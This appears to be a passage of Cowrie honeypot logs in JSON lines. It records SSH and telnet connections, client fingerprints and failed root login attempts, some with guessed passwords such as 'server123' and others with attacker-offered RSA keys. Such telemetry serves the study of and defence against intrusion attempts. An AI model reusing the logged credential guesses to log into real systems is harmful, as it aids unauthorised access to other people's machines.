{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:43.445955Z","src_ip":"170.106.188.200","session":"1acb5633679a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"125125","message":"login attempt [root/125125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:43.750588Z","src_ip":"170.106.188.200","session":"1acb5633679a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:44.822947Z","src_ip":"170.106.188.200","session":"1acb5633679a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36296,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e54300561c","protocol":"telnet","message":"New connection: 192.119.13.58:36296 (10.17.0.5:23) [session: 75e54300561c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:53.438435Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":48192,"dst_ip":"159.203.135.109","dst_port":22,"session":"adcb5e8df957","protocol":"ssh","message":"New connection: 186.4.240.226:48192 (159.203.135.109:22) [session: adcb5e8df957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:53.724536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:53.729781Z","src_ip":"186.4.240.226","session":"adcb5e8df957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:53.814621Z","src_ip":"186.4.240.226","session":"adcb5e8df957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123","message":"login attempt [root/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:54.183615Z","src_ip":"186.4.240.226","session":"adcb5e8df957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.57963275909424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:54.786612Z","src_ip":"192.119.13.58","session":"6012cf013ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:55.284774Z","src_ip":"186.4.240.226","session":"adcb5e8df957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.62185454368591,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:56.971156Z","src_ip":"192.119.13.58","session":"f1bada9d75ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52432,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d74d54b4eb3","protocol":"telnet","message":"New connection: 192.119.13.58:52432 (10.17.0.5:23) [session: 4d74d54b4eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:58.285700Z"}
{"eventid":"cowrie.session.closed","duration":5.7464439868927,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:59.184573Z","src_ip":"192.119.13.58","session":"75e54300561c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22364eb1ed4","protocol":"telnet","message":"New connection: 192.119.13.58:60502 (10.17.0.5:23) [session: b22364eb1ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:00.715827Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":17136,"dst_ip":"10.17.0.5","dst_port":22,"session":"74653d7d4767","protocol":"ssh","message":"New connection: 208.87.243.61:17136 (10.17.0.5:22) [session: 74653d7d4767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:01.537934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:01.543515Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:01.759004Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:11:32:75:a8:36:2e:e9:ec:5c:26:80:37:4a:e1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgURgSk99DHeMqSWHTm1ax2cXQgEOVzxEnZmfKYLpkOM0X96y+1tKsQrYzlw/EzI8d/JJl240l98/sXqRpBiEkdLk69FYTXhZiCMpBNIBVJEGXLkEDK3/PaIXb4fueXT7Zpi2oIBX2Z9AiPqauZ9UPSoZggQMiVYYvwbb4ZqIPrs8QG9IV9Y6VKy9t2zk0aNUfEaa2bPRUX2VmgMzI7oTNzADwf8LPXs+PKc7PEIkNLzjqjcw8mOY+ZsdW2DYiy9vWPZHVf8uoJzMbmPVvlvgM5IHyeNZu+xIhf7BEdkcvPY1/oiauoiBlwaPGNJ0tNabL2/hlI9miMTkZVQETRscr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:11:32:75:a8:36:2e:e9:ec:5c:26:80:37:4a:e1:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:02.755211Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:11:32:75:a8:36:2e:e9:ec:5c:26:80:37:4a:e1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgURgSk99DHeMqSWHTm1ax2cXQgEOVzxEnZmfKYLpkOM0X96y+1tKsQrYzlw/EzI8d/JJl240l98/sXqRpBiEkdLk69FYTXhZiCMpBNIBVJEGXLkEDK3/PaIXb4fueXT7Zpi2oIBX2Z9AiPqauZ9UPSoZggQMiVYYvwbb4ZqIPrs8QG9IV9Y6VKy9t2zk0aNUfEaa2bPRUX2VmgMzI7oTNzADwf8LPXs+PKc7PEIkNLzjqjcw8mOY+ZsdW2DYiy9vWPZHVf8uoJzMbmPVvlvgM5IHyeNZu+xIhf7BEdkcvPY1/oiauoiBlwaPGNJ0tNabL2/hlI9miMTkZVQETRscr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:02.762466Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:ec:30:96:ab:3a:04:92:3d:b6:a6:ef:38:77:6a:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3r4eRCGxSo5nG29TBD8gMq8IW3vA0/kC6uHUpYJAEaJpx/MUbKlGUSidFD0fOVKA7Uspb88425RLELgvfgyBQ/PuklRAMELLC1+KXIIpBg0Cn+nCIsgFzUDnY3sdOpvk8qSrrheT5ltdDZVodXzbY0ieChGksgMCCDN2eA8zh7TfPHI+AAeO/zr1KGizt4zx4EN5BIv9/q3/fCzd6Ddhr43uYRsN0FnAdJGToY2kdovBkoxMbG+NqizEw0TnXX/2V4c1Nvber+Tg+kpJKzqkub7FNoYoEounLKfF9zonl2hWzC9AZVgsh/rlDD1FnzXuiOxoETNudOynoAyqLprOxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:ec:30:96:ab:3a:04:92:3d:b6:a6:ef:38:77:6a:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.009005Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:ec:30:96:ab:3a:04:92:3d:b6:a6:ef:38:77:6a:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3r4eRCGxSo5nG29TBD8gMq8IW3vA0/kC6uHUpYJAEaJpx/MUbKlGUSidFD0fOVKA7Uspb88425RLELgvfgyBQ/PuklRAMELLC1+KXIIpBg0Cn+nCIsgFzUDnY3sdOpvk8qSrrheT5ltdDZVodXzbY0ieChGksgMCCDN2eA8zh7TfPHI+AAeO/zr1KGizt4zx4EN5BIv9/q3/fCzd6Ddhr43uYRsN0FnAdJGToY2kdovBkoxMbG+NqizEw0TnXX/2V4c1Nvber+Tg+kpJKzqkub7FNoYoEounLKfF9zonl2hWzC9AZVgsh/rlDD1FnzXuiOxoETNudOynoAyqLprOxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.013802Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:06:a0:a2:9b:cb:3b:74:a1:c4:50:4d:2c:ac:c3:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCCT9OdFLIkWxaRsqPoUN1fTqIzs2uU4T8dVKinCf4uV3kWSSd1UT1tf4dUGo7N+P7mw9B3qOgno5GxudgTERfLHyOuunThCjlmy87LGv9dLABQ3i1zGJfI2ogrhfMLvMSEM8PTh2QBgEHxoAfuSKFq+etzPld3pADVmfv9S+10LvarpSCyf9qPacsZ1dNdiU0xDBj5NN7/45Tk4ajrEUj0OgvS1UFF31nI93QugHNfqRFOp5IDwCVQ5j0HDERb7Te23aNEIIDc2UBI1Yne3RJK85F83p1qRcJVT76g8S/U7Z2Olql59DGk6NF3JOfZyl/BVdkPWUw97Zb70K/NAh8J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:06:a0:a2:9b:cb:3b:74:a1:c4:50:4d:2c:ac:c3:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.230239Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:06:a0:a2:9b:cb:3b:74:a1:c4:50:4d:2c:ac:c3:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCCT9OdFLIkWxaRsqPoUN1fTqIzs2uU4T8dVKinCf4uV3kWSSd1UT1tf4dUGo7N+P7mw9B3qOgno5GxudgTERfLHyOuunThCjlmy87LGv9dLABQ3i1zGJfI2ogrhfMLvMSEM8PTh2QBgEHxoAfuSKFq+etzPld3pADVmfv9S+10LvarpSCyf9qPacsZ1dNdiU0xDBj5NN7/45Tk4ajrEUj0OgvS1UFF31nI93QugHNfqRFOp5IDwCVQ5j0HDERb7Te23aNEIIDc2UBI1Yne3RJK85F83p1qRcJVT76g8S/U7Z2Olql59DGk6NF3JOfZyl/BVdkPWUw97Zb70K/NAh8J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.236675Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:6d:84:e4:00:45:f1:8a:cb:9b:ed:66:f3:f9:9d:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHQCFDoCOnoDmrVgBWqtcgdy1k4Xe+/NHhmChepjJyTd22mc/Q7y71UyFkPCHY/e5ZQwyFZ0cENrMm0KIFus8wJGxIvK5H45Pe5lROIk7lGUEMA3nA6lTd27sIF6YBQkUh7xh4FrOqjimQwmrNSc0tJ0LM/pHY2/mLx4ZQPL6vwdZk3XdGxvWaM2FJhSkfKoZv/+GmjVZ17/IOHd83vPFs/1CfmafHYNGYOZOSXTcsZMuUMbcPivnRloQzUBgjb7JQbaoyY3FPfQlfR/c6eOcVa6ESFg+lyXukWmV7avXwNAkYo4u3+49cl8TfmlJYI2QVcRsDTLb7SYrIuzFDeNaV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:6d:84:e4:00:45:f1:8a:cb:9b:ed:66:f3:f9:9d:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.503719Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:6d:84:e4:00:45:f1:8a:cb:9b:ed:66:f3:f9:9d:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHQCFDoCOnoDmrVgBWqtcgdy1k4Xe+/NHhmChepjJyTd22mc/Q7y71UyFkPCHY/e5ZQwyFZ0cENrMm0KIFus8wJGxIvK5H45Pe5lROIk7lGUEMA3nA6lTd27sIF6YBQkUh7xh4FrOqjimQwmrNSc0tJ0LM/pHY2/mLx4ZQPL6vwdZk3XdGxvWaM2FJhSkfKoZv/+GmjVZ17/IOHd83vPFs/1CfmafHYNGYOZOSXTcsZMuUMbcPivnRloQzUBgjb7JQbaoyY3FPfQlfR/c6eOcVa6ESFg+lyXukWmV7avXwNAkYo4u3+49cl8TfmlJYI2QVcRsDTLb7SYrIuzFDeNaV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.508360Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:2d:d2:3e:15:5d:3f:c4:8f:e4:e7:a4:df:80:50:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx5pRyz0GeBExbUEhXM9H0zAfo+gLuoxMjcvd+rNUUKi6q6NS1S44V/NcrDUKuTx5m/pu16iHb1VXvbUqErY9uOa/lJYXoLYMI1saN7YyP7YU9It1AzaUtI8Y1YOP4ghTBjLMIK/QjVn9N7J41IqKAChMnohb+46qBwbdXMF6wvLW7y8lhNF5r4IAQK5pHKyxaO9bvQV/OF6+8jZBI4HNJF6ORmIECkR2Yj0lenCkEPuMqsvgBrx9usMvF5xC4AONz7S/zwBmR18CSCp3uNkkGbnKqVIuaGCHDM3jq2Fx1TeJr6oZY60WT7f6ykkMuCrJCltJG7dg0eEMjcGI1Qudl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:2d:d2:3e:15:5d:3f:c4:8f:e4:e7:a4:df:80:50:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.720329Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:2d:d2:3e:15:5d:3f:c4:8f:e4:e7:a4:df:80:50:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx5pRyz0GeBExbUEhXM9H0zAfo+gLuoxMjcvd+rNUUKi6q6NS1S44V/NcrDUKuTx5m/pu16iHb1VXvbUqErY9uOa/lJYXoLYMI1saN7YyP7YU9It1AzaUtI8Y1YOP4ghTBjLMIK/QjVn9N7J41IqKAChMnohb+46qBwbdXMF6wvLW7y8lhNF5r4IAQK5pHKyxaO9bvQV/OF6+8jZBI4HNJF6ORmIECkR2Yj0lenCkEPuMqsvgBrx9usMvF5xC4AONz7S/zwBmR18CSCp3uNkkGbnKqVIuaGCHDM3jq2Fx1TeJr6oZY60WT7f6ykkMuCrJCltJG7dg0eEMjcGI1Qudl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.727222Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:03.953676Z","src_ip":"208.87.243.61","session":"74653d7d4767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a6bbe5c63c","protocol":"telnet","message":"New connection: 192.119.13.58:46556 (10.17.0.5:23) [session: b6a6bbe5c63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:04.963854Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"d667b8ac29dc","protocol":"telnet","message":"New connection: 192.119.13.58:50050 (10.17.0.5:23) [session: d667b8ac29dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:05.987968Z"}
{"eventid":"cowrie.session.closed","duration":0.015990018844604492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:06.003812Z","src_ip":"192.119.13.58","session":"d667b8ac29dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":57384,"dst_ip":"159.203.135.109","dst_port":22,"session":"17b7006ffc2a","protocol":"ssh","message":"New connection: 103.101.216.219:57384 (159.203.135.109:22) [session: 17b7006ffc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:07.668995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:07.673522Z","src_ip":"103.101.216.219","session":"17b7006ffc2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:07.917804Z","src_ip":"103.101.216.219","session":"17b7006ffc2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orion88","message":"login attempt [root/orion88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:08.929641Z","src_ip":"103.101.216.219","session":"17b7006ffc2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:10.178894Z","src_ip":"103.101.216.219","session":"17b7006ffc2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42730,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd89e902f83e","protocol":"telnet","message":"New connection: 192.119.13.58:42730 (10.17.0.5:23) [session: cd89e902f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:13.012619Z"}
{"eventid":"cowrie.session.closed","duration":46.85622549057007,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:15.637462Z","src_ip":"186.195.16.41","session":"d0f3875a514e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55858,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bfdaf46dfa","protocol":"telnet","message":"New connection: 192.119.13.58:55858 (10.17.0.5:23) [session: 08bfdaf46dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:15.801075Z"}
